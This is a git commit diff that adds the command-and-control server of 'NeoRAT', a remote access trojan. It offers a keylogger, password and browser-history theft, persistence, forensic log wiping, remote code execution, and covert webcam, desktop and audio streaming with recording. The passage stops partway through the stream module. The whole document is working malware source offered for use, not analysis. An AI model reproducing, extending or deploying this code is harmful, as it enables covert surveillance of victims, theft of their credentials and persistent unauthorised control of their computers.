diff options
| author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 | 
|---|---|---|
| committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 | 
| commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
| tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /domestic | |
Diffstat (limited to 'domestic')
57 files changed, 2391 insertions, 0 deletions
| diff --git a/domestic/global_state.py b/domestic/global_state.py new file mode 100644 index 0000000..c9a7cc9 --- /dev/null +++ b/domestic/global_state.py @@ -0,0 +1,89 @@ +from binary.encrypt_data import * + + +state = { +  'name': 'NeoRAT', +  'description': 'NeoRAT (2/3) hosts a TCP server allowing connections from clients.\n' +               + 'Supporting C&C with powerful features, including streams of audio, \n' +               + 'desktop, webcam & keylogger, while improving upon NexRAT. [USE: \'HELP\']', +  'author': 'Author\'s Repositories: https://git.alvinhavel.com', +  'settings': { +    'dynamic': { +      'is-loading': False, +      'alias-size': None, +      'alias-data': None, +      'queue': [] +    }, +    'debug': False, +    'safe-timeout': 60, +    'keep-alive-count': 60, +    'max-file-size': 75, +    'loading': True, +    'loading-animation': False, +    'encoding': 'latin-1', +    'headersize': 10, +    'io-channels': [None, None], +    'encryption': Encryption( +                  'ksxgyRuBRJLKxjFeHD4nmxbE', +                  b'v4CuHZFzmTedBY2EBGrLRXsm'), +    'folders': { +      'parent': 'Resources', +      'child': ('Files', +                'Scripts', +                'Haarcascades', +                'Keystroke') +    } +  }, +  'session': { +    'active': False, +    'socket': None, +    'username': None, +    'data': None +  }, +  'sockets': { +    'server': None, +    'clients': [[], [], []], +    'modules': { +      'stream': [None, []], +      'cam': [None, []], +      'audio': [None, []], +      'talk': [None, []] +    } +  }, +  'options': { +    'mode': { +      'safe': False, +      'silent': False, +    }, +    'validation': { +      'duplicates': True, +      'max-clients': 25 +    }, +    'information-gathering': { +      'history': True, +      'whoami': True, +      'record': { +        'stream': True, +        'cam-stream': True, +        'audio': True, +        'talk': True +      }, +      'save': { +        'screenshot': True, +        'cam-screenshot': True +      }, +      'backup': { +        'text': False, +        'image': False +      } +    }, +    'notice': { +      'email-notice': False, +      'email-data': { +        'email': None, +        'password': None, +        'to': None +      } +    } +  } +} diff --git a/domestic/globally/clear_screen.py b/domestic/globally/clear_screen.py new file mode 100644 index 0000000..2d8af53 --- /dev/null +++ b/domestic/globally/clear_screen.py @@ -0,0 +1,8 @@ +import os + +from domestic.utility.status_message import * + + +def clear_screen(): +  os.system('cls') +  status_message(None, 'program')
\ No newline at end of file diff --git a/domestic/globally/exit_program.py b/domestic/globally/exit_program.py new file mode 100644 index 0000000..c08c34e --- /dev/null +++ b/domestic/globally/exit_program.py @@ -0,0 +1,14 @@ +import os + +from domestic.utility.status_message import * +from domestic.utility.delete_client import * +from domestic.global_state import * + + +def exit_program(): +  status_message(f'Exiting {state["name"]}', 'danger', {'dots': True, 'end': True}) + +  for i in range(len(state['sockets']['clients'][0])): +    delete_client(i, False) + +  os._exit(0)
\ No newline at end of file diff --git a/domestic/globally/get_help.py b/domestic/globally/get_help.py new file mode 100644 index 0000000..1587165 --- /dev/null +++ b/domestic/globally/get_help.py @@ -0,0 +1,185 @@ +import tabulate + +from domestic.utility.status_message import * + + +help_obj = { +  'help': { +    'type': 'Globally', +    'usage': 'help', +    'description': 'Shows available commands' +  }, +  'exit': { +    'type': 'Globally', +    'usage': 'exit', +    'description': 'Exits program' +  }, +  'clear': { +    'type': 'Globally', +    'usage': 'clear', +    'description': 'Clears your terminal window' +  }, +  'sockets': { +    'type': 'Globally', +    'usage': 'sockets', +    'description': 'Show sockets information' +  }, +  'options': { +    'type': 'Globally', +    'usage': 'options --available | --key [key] & --value [value]', +    'description': 'Handle available options' +  }, +  'stream': { +    'type': 'Globally', +    'usage': 'stream --ip [ip] & --port [port] | --unbind | --close [index] | --status', +    'description': 'Handle stream module' +  }, +  'cam': { +    'type': 'Globally', +    'usage': 'cam --ip [ip] & --port [port] | --unbind | --close [index] | --status', +    'description': 'Handle cam module' +  }, +  'audio': { +    'type': 'Globally', +    'usage': 'audio --ip [ip] & --port [port] | --unbind | --close [index] | --status', +    'description': 'Handle audio module' +  }, +  'talk': { +    'type': 'Globally', +    'usage': 'talk --ip [ip] & --port [port] | --unbind | --close [index] | --status', +    'description': 'Handle talk module' +  }, +  'list': { +    'type': 'Shell', +    'usage': 'list', +    'description': 'List connected clients' +  }, +  'server': { +    'type': 'Shell', +    'usage': 'server --ip [ip] & --port [port] | --unbind | --status', +    'description': 'Handle client server' +  }, +  'session': { +    'type': 'Shell', +    'usage': 'session --index [index]', +    'description': 'Establish a session with a client' +  }, +  'delete': { +    'type': 'Shell', +    'usage': 'delete --index [index]', +    'description': 'Delete a connected client' +  }, +  'break': { +    'type': 'Session', +    'usage': 'break', +    'description': 'Exit active session' +  }, +  'uninstall': { +    'type': 'Session', +    'usage': 'uninstall', +    'description': 'Delete client file & exit' +  }, +  'reconnect': { +    'type': 'Session', +    'usage': 'reconnect', +    'description': 'Reconnect a new client' +  }, +  'cd': { +    'type': 'Session', +    'usage': 'cd --to [directory]', +    'description': 'Change directory of session shell' +  }, +  'image': { +    'type': 'Session', +    'usage': 'image --screenshot | --cam (--monitor [index])', +    'description': 'Capture a screenshot / cam screenshot' +  }, +  'upload': { +    'type': 'Session', +    'usage': 'upload --file [filename] | --url [url] (--execute)', +    'description': 'Upload file to client' +  }, +  'download': { +    'type': 'Session', +    'usage': 'download --file [filename] (--execute)', +    'description': 'Download file from client' +  }, +  'encrypt': { +    'type': 'Session', +    'usage': 'encrypt --file [filename] (--decrypt)', +    'description': 'Encrypt / decrypt a file' +  }, +  'interpreter': { +    'type': 'Session', +    'usage': 'interpreter --execute [code] | --script [filename] (--quiet)', +    'description': 'Execute Python code' +  }, +  'keylogger': { +    'type': 'Session', +    'usage': 'keylogger --run | --download (--quiet) | --close | --status', +    'description': 'Handle keylogger' +  }, +  'keystroke': { +    'type': 'Session', +    'usage': 'keystroke --inject [inject] | --script [filename]', +    'description': 'Enumerate keyboard / mouse actions' +  }, +  'persistence': { +    'type': 'Session', +    'usage': 'persistence --elevate | --schedule | --service', +    'description': 'Alternatives for client persistence' +  }, +  'system': { +    'type': 'Session', +    'usage': 'system --shutdown | --restart | --logout | --standby', +    'description': 'Perform system actions' +  }, +  'recover': { +    'type': 'Session', +    'usage': 'recover --password | --history (--force) (--quiet)', +    'description': 'Recover passwords / browser history' +  }, +  'obfuscate': { +    'type': 'Session', +    'usage': 'obfuscate --logs', +    'description': 'Obfuscate forensic footprints' +  }, +  'messagebox': { +    'type': 'Session', +    'usage': 'messagebox --title [title] --text [text] (--style [style])', +    'description': 'Display a messagebox' +  }, +  'website': { +    'type': 'Session', +    'usage': 'website --open [open]', +    'description': 'Opens one or more websites' +  }, +  'stream_2': { +    'type': 'Session', +    'usage': 'stream --resolution [resolution] (monitor [index]) (--fps) (--fit) (--ip [ip] & --port [port]) (--recognize [haarcascade])', +    'description': 'Run stream module' +  }, +  'cam_2': { +    'type': 'Session', +    'usage': 'cam --resolution [resolution] (--monitor [index]) (--fps) (--fit) (--ip [ip] & --port [port]) (--recognize [haarcascade])', +    'description': 'Run cam module' +  }, +  'audio_2': { +    'type': 'Session', +    'usage': 'audio --run (--quiet) (--ip [ip] & --port [port])', +    'description': 'Run audio module' +  }, +  'talk_2': { +    'type': 'Session', +    'usage': 'talk --run (--ip [ip] & --port [port])', +    'description': 'Run talk module' +  } +} + + +def get_help(): +  all_commands = [] +  for key, value in help_obj.items(): +    all_commands.append([value['type'], value['usage'], value['description']]) +   +  status_message(tabulate.tabulate(all_commands, headers=['Available', 'Usage', 'Description']), 'pure')
\ No newline at end of file diff --git a/domestic/globally/options.py b/domestic/globally/options.py new file mode 100644 index 0000000..39a80a0 --- /dev/null +++ b/domestic/globally/options.py @@ -0,0 +1,114 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +options_list = ( +  ( +  'mode/safe', +  'mode/silent', +  'validation/duplicates', +  'validation/max-clients', +  'information-gathering/history', +  'information-gathering/whoami', +  'information-gathering/record/stream', +  'information-gathering/record/cam-stream', +  'information-gathering/record/audio', +  'information-gathering/record/talk', +  'information-gathering/save/screenshot', +  'information-gathering/save/cam-screenshot', +  'information-gathering/backup/text', +  'information-gathering/backup/image', +  'notice/email-notice', +  'notice/email-data/email', +  'notice/email-data/password', +  'notice/email-data/to' +  ), +  ( +    'bool', +    'bool', +    'bool', +    'int', +    'bool', +    'bool', +    'bool', +    'bool', +    'bool', +    'bool', +    'bool', +    'bool', +    'bool', +    'bool', +    'bool', +    'str', +    'str', +    'str' +  ) +) + + +@error_exception_handling +def options(message): +  key = validate_dict_key(message, 'key') +  value = validate_dict_key(message, 'value') +  available = validate_dict_key(message, 'available') + +  if key and value: +    key_list = key.split('/') +    key_len = len(key_list) + +    assert key in options_list[0] +    value = validate_option(value, options_list[1][options_list[0].index(key)]) + +    if key_len == 2: +      state['options'][key_list[0]][key_list[1]] = value +    elif key_len == 3: +      state['options'][key_list[0]][key_list[1]][key_list[2]] = value +    elif key_len == 4: +      state['options'][key_list[0]][key_list[1]][key_list[2]][key_list[3]] = value +    else: +      raise Exception('Key length is invalid') +    status_message(f'Option: {key} is now set to {value}', 'success') +  elif available: +    options = state['options'] +    categories = ['mode', 'validation', 'information-gathering', 'notice'] + +    for categorie in categories: +      option_category = options[categorie] + +      status_message(f'{categorie.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) +      for key, value in option_category.items(): +        if 'dict' in str(type(value)): +          status_message(f'- {key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) +          for key_2, value_2 in value.items(): +            status_message(f'        - {key_2.capitalize()}: {value_2}', 'pure', {'end': True}) +        else: +          status_message(f'    - {key.capitalize()}: {value}', 'pure', {'end': True}) +      print() +    status_message(None, 'program') +  else: +    raise Exception('Error message') + + +def validate_option(value, value_type): +  if value == 'true': +    value = True +  elif value == 'false': +    value = False +  elif value == 'none': +    if 'str' == value_type: +      value = None +  elif value.isdigit(): +    value = int(value) + +  value_type_calc = str(type(value)) + +  if 'str' in value_type_calc: +    assert len(value) < 128 +  elif 'int' in value_type_calc: +    assert value < 10000 + +  assert value_type in value_type_calc or value is None + +  return value
\ No newline at end of file diff --git a/domestic/globally/sockets.py b/domestic/globally/sockets.py new file mode 100644 index 0000000..31cd164 --- /dev/null +++ b/domestic/globally/sockets.py @@ -0,0 +1,31 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +def sockets(): +  if state['sockets']['server']: +    ip, port = state['sockets']['server'].getsockname() +    status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) +    status_message(f'    - Listening', 'pure', {'end': True}) +  else: +    status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) +    status_message(f'    - Not listening', 'pure', {'end': True}) + +  for key, value in state['sockets']['modules'].items(): +    if value[0]: +      ip, port = value[0].getsockname() +      status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) +    else: +      status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) +      status_message('    - Not listening', 'pure', {'end': True}) +      continue + +    if len(value[1]) == 0: +      status_message('    - None running', 'pure', {'end': True}) +    else: +      for index, module_client in enumerate(value[1]): +        status_message(f'    - [{index}] {module_client[1]}', 'pure', {'end': True}) + +  print() +  status_message(None, 'program')
\ No newline at end of file diff --git a/domestic/make/make_directories.py b/domestic/make/make_directories.py new file mode 100644 index 0000000..b6235b4 --- /dev/null +++ b/domestic/make/make_directories.py @@ -0,0 +1,14 @@ +import os + +from domestic.global_state import * + + +def make_directories(directories): +	root = state['root'] + +	if not os.path.isdir(root): +		os.mkdir(root) + +	for directory in directories: +		if not os.path.isdir(f'{root}/{directory}'): +			os.mkdir(f'{root}/{directory}')
\ No newline at end of file diff --git a/domestic/make/make_file.py b/domestic/make/make_file.py new file mode 100644 index 0000000..0fb7f6e --- /dev/null +++ b/domestic/make/make_file.py @@ -0,0 +1,18 @@ +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_file(directories, file_type, data, success_message=None): +  filename = get_filename(file_type) +  username = state['session']['username'] +  path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' +  directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] +  make_directories(directories_to_make) + +  with open(path, 'wb') as f: +    f.write(data) +   +  if success_message: +    status_message(f'Path: {path}\n{success_message}', 'success')
\ No newline at end of file diff --git a/domestic/make/make_history.py b/domestic/make/make_history.py new file mode 100644 index 0000000..992269f --- /dev/null +++ b/domestic/make/make_history.py @@ -0,0 +1,24 @@ +import csv + +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_history(directories, file_type, browserhistory, success_message=None): +  filename = get_filename(file_type) +  username = state['session']['username'] +  path = f'{state["root"]}/{username}/{directories[-1]}' +  directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] +  make_directories(directories_to_make) + +  for browser, history in browserhistory.items(): +    with open(f'{path}/{browser}_{filename}', 'w', encoding='utf-8', newline='') as csvfile: +      csv_writer = csv.writer(csvfile, delimiter=',', quoting=csv.QUOTE_ALL)         + +      for data in history: +        csv_writer.writerow(data) + +  if success_message: +    status_message(f'Path: {path}/[browser]_{filename}\n{success_message}', 'success')
\ No newline at end of file diff --git a/domestic/make/make_image.py b/domestic/make/make_image.py new file mode 100644 index 0000000..2697633 --- /dev/null +++ b/domestic/make/make_image.py @@ -0,0 +1,24 @@ +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_image(directories, data, show_image=True, success_message=None, image_type=None): +  filename = get_filename('png') +  username = state['session']['username'] +  path = f'{state["root"]}/{username}/{directories[-1]}/{filename}'      +  directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] +  make_directories(directories_to_make) + +  if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']): +    data.save(path) + +  if show_image: +    data.show() +   +  if success_message: +    if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']): +      status_message(f'Path: {path}\n{success_message}', 'success') +    else: +      status_message(success_message, 'success')
\ No newline at end of file diff --git a/domestic/make/make_wave.py b/domestic/make/make_wave.py new file mode 100644 index 0000000..02dcb6e --- /dev/null +++ b/domestic/make/make_wave.py @@ -0,0 +1,19 @@ +import wave + +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_wave(directories, username, wave_data): +  filename = get_filename('wav') +  path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' +  directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] +  make_directories(directories_to_make) + +  waveFile = wave.open(path, 'wb') +  waveFile.setnchannels(wave_data[0]) +  waveFile.setsampwidth(wave_data[1].get_sample_size(wave_data[2])) +  waveFile.setframerate(wave_data[3]) +  waveFile.writeframes(b''.join(wave_data[4])) +  waveFile.close()
\ No newline at end of file diff --git a/domestic/modules/audio.py b/domestic/modules/audio.py new file mode 100644 index 0000000..1fcfafc --- /dev/null +++ b/domestic/modules/audio.py @@ -0,0 +1,138 @@ +import threading +import pyaudio +import pickle +import zlib +import sys + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.utility.write_error import * +from domestic.make.make_wave import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def audio_action(write_stream): +  try: +    headersize = state['settings']['headersize'] +    encryption = state['settings']['encryption'] +    encoding = state['settings']['encoding'] +    username = state['session']['username'] +    mode = [True, 0, b''] +    frames = [] + +    p = pyaudio.PyAudio() +    CHUNK = 81920 +    FORMAT = pyaudio.paInt16 +    RATE = 44100 +    CHANNELS = 2 + +    try: +      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) +    except: +      CHANNELS = 1 +      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) +       +    record = state['options']['information-gathering']['record']['audio'] +    client, addr = state['sockets']['modules']['audio'][0].accept() +    client_obj = (client, username, addr) +    state['sockets']['modules']['audio'][1].append(client_obj) + +    message = pickle.dumps(b' ') +    message = zlib.compress(message, 1) +    message = encryption.do_encrypt(message) +    final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message +    client.send(final_msg) + +    while True: +      client_msg = client.recv(81920) + +      if mode[0]: +        mode[1] = int(client_msg[:headersize]) +        mode[0] = False + +      mode[2] += client_msg + +      if len(mode[2])-headersize == mode[1]: +        frame = encryption.do_decrypt(mode[2][headersize:]) +        frame = zlib.decompress(frame) +        frame = pickle.loads(frame) + +        if write_stream is None: +          stream.write(frame) + +        frames.append(frame) + +        real_msg = pickle.dumps(b' ') +        real_msg = zlib.compress(real_msg, 1) +        real_msg = encryption.do_encrypt(real_msg) +        final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg +        client.send(final_msg) +         +        mode = [True, 0, b''] +  except Exception as err: +    write_error(err) +    try: +      if record: +        make_wave(['modules', 'modules/audio'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames)) + +      stream.stop_stream() +      stream.close() +      p.terminate() +      state['sockets']['modules']['audio'][1].remove(client_obj) +    except Exception as err: +      write_error(err) +    finally: +      sys.exit(0) + + +@error_exception_handling +def audio(data): +  ip = validate_dict_key(data, 'ip') +  port = validate_dict_key(data, 'port') +  run = validate_dict_key(data, 'run') +  quiet = validate_dict_key(data, 'quiet') +  unbind = validate_dict_key(data, 'unbind') +  close = validate_dict_key(data, 'close') +  status = validate_dict_key(data, 'status') + +  if run: +    assert state['session']['active'] + +    if ip and port: +      data['ip'], data['port'] = ip, int(port) +    else: +      data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname() + +    if quiet: +      del data['quiet'] +       +    del data['run'] + +    threading.Thread(target=audio_action, args=(quiet,), daemon=True).start() +    session_message(data) +  elif ip and port: +    if state['sockets']['modules']['audio'][0] is None: +      bind_socket(ip, port, 'audio') +    else: +      ip, port = state['sockets']['modules']['audio'][0].getsockname() +      status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True}) +  elif unbind: +    if state['sockets']['modules']['audio'][0]:     +      unbind_socket('audio') +    else: +      status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning') +  elif close: +    close_client(close, 'audio') +  elif status: +    if state['sockets']['modules']['audio'][0]: +      ip, port = state['sockets']['modules']['audio'][0].getsockname() +      status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary') +    else: +      status_message('You are not listening for clients (audio module)', 'warning') +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/modules/cam.py b/domestic/modules/cam.py new file mode 100644 index 0000000..3ce729d --- /dev/null +++ b/domestic/modules/cam.py @@ -0,0 +1,163 @@ +import threading +import random +import pickle +import zlib +import cv2 + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def cam_action(resolution, recognize, fit): +	try: +		headersize = state['settings']['headersize'] +		encryption = state['settings']['encryption'] +		encoding = state['settings']['encoding'] +		username = state['session']['username'] +		mode = [True, 0, b''] + +		cam_id = random.randint(0, 100000) +		record = state['options']['information-gathering']['record']['cam-stream'] +		client, addr = state['sockets']['modules']['cam'][0].accept() +		client_obj = (client, username, addr) +		state['sockets']['modules']['cam'][1].append(client_obj) + +		if recognize: +			parent_folder = state['settings']['folders']['parent'] +			child_folder = state['settings']['folders']['child'][2] +			faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}') +	 +		if record: +			directories = ['modules', 'modules/cam-stream'] +			username = state['session']['username'] +			path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}' +			directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] +			make_directories(directories_to_make) + +			fourcc = cv2.VideoWriter_fourcc(*'XVID') +			out = cv2.VideoWriter(path, fourcc, 5.0, resolution) + +		message = pickle.dumps(b' ') +		message = zlib.compress(message, 1) +		message = encryption.do_encrypt(message) +		final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message +		client.send(final_msg) + +		while True: +			client_msg = client.recv(81920) + +			if mode[0]: +				mode[1] = int(client_msg[:headersize]) +				mode[0] = False + +			mode[2] += client_msg + +			if len(mode[2])-headersize == mode[1]: +				frame = encryption.do_decrypt(mode[2][headersize:]) +				frame = zlib.decompress(frame) +				frame = pickle.loads(frame) + +				if recognize: +					faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE) + +					for (x, y, w, h) in faces: +						cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2) + +				if fit is None: +					cv2.namedWindow(f'{username} - Live cam (cam id: {cam_id})', cv2.WINDOW_NORMAL) +				 +				cv2.imshow(f'{username} - Live cam (cam id: {cam_id})', frame) + +				if record: +					out.write(frame) + +				if cv2.waitKey(1) == 27: +					raise Exception('Close stream') +			 +				real_msg = pickle.dumps(b' ') +				real_msg = zlib.compress(real_msg, 1) +				real_msg = encryption.do_encrypt(real_msg) +				final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg +				client.send(final_msg) +				 +				mode = [True, 0, b''] +	except Exception as err: +		write_error(err) +		try: +			state['sockets']['modules']['cam'][1].remove(client_obj) + +			if record: +				out.release() +		except Exception as err: +			write_error(err) +		finally: +			sys.exit(0) + + +@error_exception_handling +def cam(data): +	ip = validate_dict_key(data, 'ip') +	port = validate_dict_key(data, 'port') +	unbind = validate_dict_key(data, 'unbind') +	resolution = validate_dict_key(data, 'resolution') +	monitor = validate_dict_key(data, 'monitor') +	close = validate_dict_key(data, 'close') +	status = validate_dict_key(data, 'status') +	fps = validate_dict_key(data, 'fps') +	fit = validate_dict_key(data, 'fit') +	recognize = validate_dict_key(data, 'recognize') + +	if resolution: +		assert state['session']['active'] +		 +		if ip and port: +			data['ip'], data['port'] = ip, int(port) +		else: +			data['ip'], data['port'] = state['sockets']['modules']['cam'][0].getsockname() +		 +		if monitor: +			data['monitor'] = int(monitor) +		else: +			data['monitor'] = 0 + +		if fps is None: +			data['fps'] = False +		 +		if fit: +			del data['fit'] + +		if recognize: +			del data['recognize'] +		 +		del data['resolution'] +		 +		threading.Thread(target=cam_action, args=(tuple([int(x) for x in resolution.split(',')]), recognize, fit), daemon=True).start() +		session_message(data) +	elif ip and port: +		if state['sockets']['modules']['cam'][0] is None: +			bind_socket(ip, port, 'cam') +		else: +			ip, port = state['sockets']['modules']['cam'][0].getsockname() +			status_message(f'You are already listening for clients (cam module) on {ip}:{port}', 'danger', {'dots': True}) +	elif unbind: +		if state['sockets']['modules']['cam'][0]:     +			unbind_socket('cam') +		else: +			status_message(f'You\'re not listening for clients (cam module)\nThere is no server socket (cam module) to close', 'warning') +	elif close: +		close_client(close, 'cam') +	elif status: +		if state['sockets']['modules']['cam'][0]: +			ip, port = state['sockets']['modules']['cam'][0].getsockname() +			status_message(f'You are listening for clients (cam module) on {ip}:{port}', 'primary') +		else: +			status_message('You are not listening for clients (cam module)', 'warning') +	else: +		raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/modules/socket_handler.py b/domestic/modules/socket_handler.py new file mode 100644 index 0000000..7f8c57e --- /dev/null +++ b/domestic/modules/socket_handler.py @@ -0,0 +1,33 @@ +import socket + +from domestic.utility.status_message import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +def bind_socket(ip, port, module_type, stdout=True): +  try: +    state['sockets']['modules'][module_type][0] = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +    state['sockets']['modules'][module_type][0].bind((ip, int(port))) +    state['sockets']['modules'][module_type][0].listen() +  except Exception as err: +    write_error(err) +    state['sockets']['modules'][module_type][0] = None +    raise Exception('Socket binding error') +  else: +    if stdout: +      status_message(f'{module_type.capitalize()} address successfully bound', 'success') + +def close_client(index, module_type, write_stdout=True): +  state['sockets']['modules'][module_type][1][int(index)][0].close() + +  if write_stdout: +    status_message(f'{module_type.capitalize()} client successfully closed', 'success') + +def unbind_socket(module_type): +  for _ in range(len(state['sockets']['modules'][module_type][1])): +    close_client('0', module_type, False) + +  state['sockets']['modules'][module_type][0].close() +  state['sockets']['modules'][module_type][0] = None +  status_message(f'{module_type.capitalize()} address successfully closed', 'success')
\ No newline at end of file diff --git a/domestic/modules/stream.py b/domestic/modules/stream.py new file mode 100644 index 0000000..b1ce97b --- /dev/null +++ b/domestic/modules/stream.py @@ -0,0 +1,165 @@ +import threading +import random +import pickle +import zlib +import cv2 + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def stream_action(resolution, recognize, fit): +	try: +		headersize = state['settings']['headersize'] +		encryption = state['settings']['encryption'] +		encoding = state['settings']['encoding'] +		username = state['session']['username'] +		mode = [True, 0, b''] + +		stream_id = random.randint(0, 100000) +		record = state['options']['information-gathering']['record']['stream'] +		client, addr = state['sockets']['modules']['stream'][0].accept() +		client_obj = (client, username, addr) +		state['sockets']['modules']['stream'][1].append(client_obj) + +		if recognize: +			parent_folder = state['settings']['folders']['parent'] +			child_folder = state['settings']['folders']['child'][2] +			faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}') +	 +		if record: +			directories = ['modules', 'modules/stream'] +			username = state['session']['username'] +			path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}' +			directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] +			make_directories(directories_to_make) + +			fourcc = cv2.VideoWriter_fourcc(*'XVID') +			out = cv2.VideoWriter(path, fourcc, 5.0, resolution) + +		message = pickle.dumps(b' ') +		message = zlib.compress(message, 1) +		message = encryption.do_encrypt(message) +		final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message +		client.send(final_msg) + +		while True: +			client_msg = client.recv(81920) + +			if mode[0]: +				mode[1] = int(client_msg[:headersize]) +				mode[0] = False + +			mode[2] += client_msg + +			if len(mode[2])-headersize == mode[1]: +				frame = encryption.do_decrypt(mode[2][headersize:]) +				frame = zlib.decompress(frame) +				frame = pickle.loads(frame) + +				if recognize: +					faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE) + +					for (x, y, w, h) in faces: +						cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2) + +				if fit is None: +					cv2.namedWindow(f'{username} - Live stream (stream id: {stream_id})', cv2.WINDOW_NORMAL) +				 +				cv2.imshow(f'{username} - Live stream (stream id: {stream_id})', frame) + +				if record: +					out.write(frame) + +				if cv2.waitKey(1) == 27: +					raise Exception('Close stream') +			 +				real_msg = pickle.dumps(b' ') +				real_msg = zlib.compress(real_msg, 1) +				real_msg = encryption.do_encrypt(real_msg) +				final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg +				client.send(final_msg) +				 +				mode = [True, 0, b''] +	except Exception as err: +		write_error(err) +		try: +			state['sockets']['modules']['stream'][1].remove(client_obj) + +			if record: +				out.release() +		except Exception as err: +			write_error(err) +		finally: +			sys.exit(0) + + +@error_exception_handling +def stream(data): +	ip = validate_dict_key(data, 'ip') +	port = validate_dict_key(data, 'port') +	unbind = validate_dict_key(data, 'unbind') +	resolution = validate_dict_key(data, 'resolution') +	monitor = validate_dict_key(data, 'monitor') +	close = validate_dict_key(data, 'close') +	status = validate_dict_key(data, 'status') +	fps = validate_dict_key(data, 'fps') +	fit = validate_dict_key(data, 'fit') +	recognize = validate_dict_key(data, 'recognize') + +	if resolution: +		assert state['session']['active'] +		 +		data['resolution'] = tuple([int(x) for x in resolution.split(',')]) + +		if ip and port: +			data['ip'], data['port'] = ip, int(port) +		else: +			data['ip'], data['port'] = state['sockets']['modules']['stream'][0].getsockname() + +		if monitor: +			data['monitor'] = int(monitor) +		else: +			data['monitor'] = 0 + +		if fps is None: +			data['fps'] = False + +		if fit: +			del data['fit'] + +		if recognize: +			del data['recognize'] +			 +		threading.Thread(target=stream_action, args=(data['resolution'], recognize, fit), daemon=True).start() +		session_message(data) +	elif ip and port: +		if state['sockets']['modules']['stream'][0] is None: +			bind_socket(ip, port, 'stream') +		else: +			ip, port = state['sockets']['modules']['stream'][0].getsockname() +			status_message(f'You are already listening for clients (stream module) on {ip}:{port}', 'danger', {'dots': True}) +	elif unbind: +		if state['sockets']['modules']['stream'][0]:     +			unbind_socket('stream') +		else: +			status_message(f'You\'re not listening for clients (stream module)\nThere is no server socket (stream module) to close', 'warning') +	elif close: +		close_client(close, 'stream') +	elif status: +		if state['sockets']['modules']['stream'][0]: +			ip, port = state['sockets']['modules']['stream'][0].getsockname() +			status_message(f'You are listening for clients (stream module) on {ip}:{port}', 'primary') +		else: +			